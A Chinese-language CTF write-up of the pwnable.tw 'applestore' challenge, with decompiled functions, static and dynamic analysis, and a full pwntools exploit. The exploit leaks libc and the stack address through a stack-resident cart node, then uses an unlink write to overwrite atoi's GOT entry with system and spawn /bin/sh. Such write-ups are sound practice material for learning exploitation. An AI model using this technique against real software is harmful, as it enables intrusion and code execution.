PWNABLE applestore
查看文件基本信息
分析程序行为
该题是模拟了apple的商店，来售卖apple的各种产品，其提供了6个功能:
- 1: 展示商店的商品
- 2: 添加商品到购物车
- 3: 从购物车里面将某一商品删除
- 4: 展示购物车里面的商品
- 5: 结算
- 6: 退出
静态分析
先创建一个结构体：
然后分析这块代码，每一个新添加的手机都是一个chunk，起始位置位于myCart上，是确定的，其后跟着其他的chunk，如下图：
Phone *__cdecl insert(Phone *a1) { Phone *result; // eax Phone *i; // [esp+Ch] [ebp-4h] for ( i = (Phone *)&myCart; i->next; i = (Phone *)i->next ) ; i->next = (int)a1; result = a1; a1->before = (int)i; return result; }
在分析checkout（）这个函数时，发现当总金额达到7174时，会自动添加一个1块钱的iPhone8，最关键的是，这一块chunk是放到栈上的！！！
可以看到新添加的iPhone8的地址是在[ebp-20h]处。因为checkout（），cart（），delete（）等函数在执行完后都会返回handler（），这就保证了返回时的EBP和ESP是相同的，然后再调用checkout（），cart（），delete（）等函数时，EBP和ESP仍然相同。
unsigned int checkout() { int v1; // [esp+10h] [ebp-28h] Phone v2; // [esp+18h] [ebp-20h] BYREF unsigned int v3; // [esp+2Ch] [ebp-Ch] v3 = __readgsdword(0x14u); v1 = cart(); // 计算多少钱 if ( v1 == 7174 ) { puts("*: iPhone 8 - $1"); asprintf((char **)&v2, "%s", "iPhone 8"); v2.price = 1; insert(&v2); v1 = 7175; } printf("Total: $%d\n", v1); puts("Want to checkout? Maybe next time!"); return __readgsdword(0x14u) ^ v3; }
所以可以在cart（）中，在输入buf变量时，更改[ebp-0x20]的这块栈内存。进行泄露libc基址和覆盖GOT表。
int cart() { int v0; // eax int v2; // [esp+18h] [ebp-30h] int v3; // [esp+1Ch] [ebp-2Ch] Phone *i; // [esp+20h] [ebp-28h] char buf[22]; // [esp+26h] [ebp-22h] BYREF unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); v2 = 1; v3 = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read(buf, 21u); if ( buf[0] == 'y' ) { puts("==== Cart ===="); for ( i = (Phone *)next; i; i = (Phone *)i->next ) { v0 = v2++; printf("%d: %s - $%d\n", v0, (const char *)i->device, i->price); v3 += i->price; } } return v3; }
动态分析
其他的WP都写着要泄露EBP，然后用到了一个environ，然后这个EBP的地址就是泄露出来的environ-0x104，怎么来的好多WP没写，这里来写一写：
这个要在脚本中写好的exp中进行调试，exp就是最下面的那个。然后在0x848c41这个地方下个断点。
按s进入delete函数，然后在这里停下来
然后 输入stack 50查看栈的情况：
可以看到ebp的地址为0xffeaf268 而此时我们获取到的environ为0xffeaf36c。所以需要将environ-0x104才是ebp的位置。
漏洞利用
1.因为一块钱的iPhone8放在了栈上，并且这块栈可控。
2.修改chunk的头上四字节为某一函数的GOT，从而求出libc基地址。
3.利用求出的libc基地址，可以进一步得出environ变量的值。
4.利用动态调试，得到ebp的地址为environ-0x104。
5.调用delete函数，将next和before位置上的值分别设为got['atoi']-0x22和ebp-0x8，在unlink时，就会把ebp对应的那块栈内存设置成got['atoi']-0x22，并且通过函数结束时的pop ebp, 把这个got['atoi']-0x22弹入ebp寄存器当中。
6.delete函数调用结束后会返回handler，因为它是一个while循环，所以并不是从handler最开始的地方开始执行，这样就保持了上一步修改的ebp寄存器当中的值不发生变化。
7.如下图的handler的汇编语言显示，因为当前ebp寄存器中的值为got['atoi']-0x22，再加上0x22就是got['atoi']的位置，这里将system的地址与/bin/sh写入。当下面执行atoi函数时，其实就成立执行system函数了，并且参数为system的地址加/bin/sh，所以需要加个分号，从而最终得到shell。
EXP
from pwn import * context.log_level = 'debug' # io=process('./applestore') # io=gdb.debug('./applestore','b main') io=remote('chall.pwnable.tw','10104') elf=ELF('./applestore') # libc=ELF('/lib/i386-linux-gnu/libc.so.6') libc=ELF('libc.so.6') got_atoi=elf.got['atoi'] def add(number): io.recvuntil('> ') io.sendline('2') io.recvuntil('Device Number> ') io.sendline(number) def check(): io.recvuntil('>') io.sendline('5') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline('y') def cart(addr,addr2): io.recvuntil('> ') io.sendline('4') io.recvuntil('Let me check your cart. ok? (y/n) > ') io.sendline('y\x00'+addr+p32(0xdeadbeef)+addr2+p32(0xdeadbeef)) for i in range(6): add('1') for i in range(20): add('2') check() cart(p32(got_atoi),p32(0x804B070)) io.recvuntil('27: ') address_atoi=u32(io.recv(numb=4)) print hex(address_atoi) libc.address=address_atoi-libc.sym['atoi'] environ=libc.sym['environ'] cart(p32(environ),p32(0x804B070)) io.recvuntil('27: ') addr_stack=u32(io.recv(numb=4)) print hex(addr_stack) addr_ebp=addr_stack-0x104 io.recv() io.sendline('3') io.recvuntil('Item Number> ') io.sendline('27'+p32(0x08049068)+p32(0xdeadbeef)+p32(elf.got['atoi']+0x22)+p32(addr_ebp-0x8)) #最开始四字节需要为一个能访问的地址 io.recvuntil('> ') io.sendline(p32(libc.sym['system'])+';/bin/sh\x00') io.interactive()
